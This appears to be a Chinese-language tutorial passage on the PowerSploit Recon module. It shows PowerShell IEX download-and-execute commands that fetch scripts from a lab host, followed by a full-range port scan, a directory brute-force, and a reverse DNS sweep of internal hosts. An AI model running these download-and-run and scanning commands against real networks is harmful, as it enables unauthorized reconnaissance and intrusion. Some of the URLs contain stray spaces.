Recon(信息偵察)模塊
?
a) 調用invoke-Portscan掃描內網主機的端口。
1）通過IEX下載并調用invoke-portscan。
PS C:\Users\Administrator> IEX(New-Object net.webclient).DownloadString("http://192.168.190.141/PowerSploit/Recon/Invoke -Portscan.ps1")
?
PS C:\Users\Administrator> Invoke-Portscan -Hosts 192.168.190.132 -Ports "1-65535"
?
?
?
?
?
b) 調用Get-HttpStatus掃描目標站點的目錄。
1）通過IEX下載并調用Get-HttpStatus。
?
PS C:\Users\Administrator> IEX(New-Object net.webclient).DownloadString("http://192.168.190.141/PowerSploit/Recon/Get-Ht tpStatus.ps1")
?
?
PS C:\Users\Administrator> Get-HttpStatus -Target www.xxx.com -Path D:\dic.txt
?
c) 調用Invoke-ReverseDnsLookup掃描內網主機的ip對應的主機名。
1）通過IEX下載并調用Invoke-ReverseDnsLookup。
PS C:\Users\Administrator> IEX(New-Object net.webclient).DownloadString("http://192.168.190.141/PowerSploit/Recon/Invoke -ReverseDnsLookup.ps1")
PS C:\Users\Administrator> Invoke-ReverseDnsLookup '192.168.190.133'
?
?
?
?
?
?
?
?
?
